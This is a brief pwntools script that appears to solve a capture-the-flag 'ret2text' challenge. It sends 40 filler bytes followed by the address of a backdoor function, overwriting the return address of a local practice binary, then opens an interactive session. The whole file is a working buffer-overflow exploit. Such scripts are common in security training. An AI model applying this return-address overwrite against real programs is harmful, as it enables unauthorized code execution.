from pwn import *

p = process("./ret2text")
offset = 40
addr = 0x40115e # 0x401156 noway     # 后门函数地址
payload = b'a' * offset + p64(addr)
p.sendline(payload)
p.interactive()
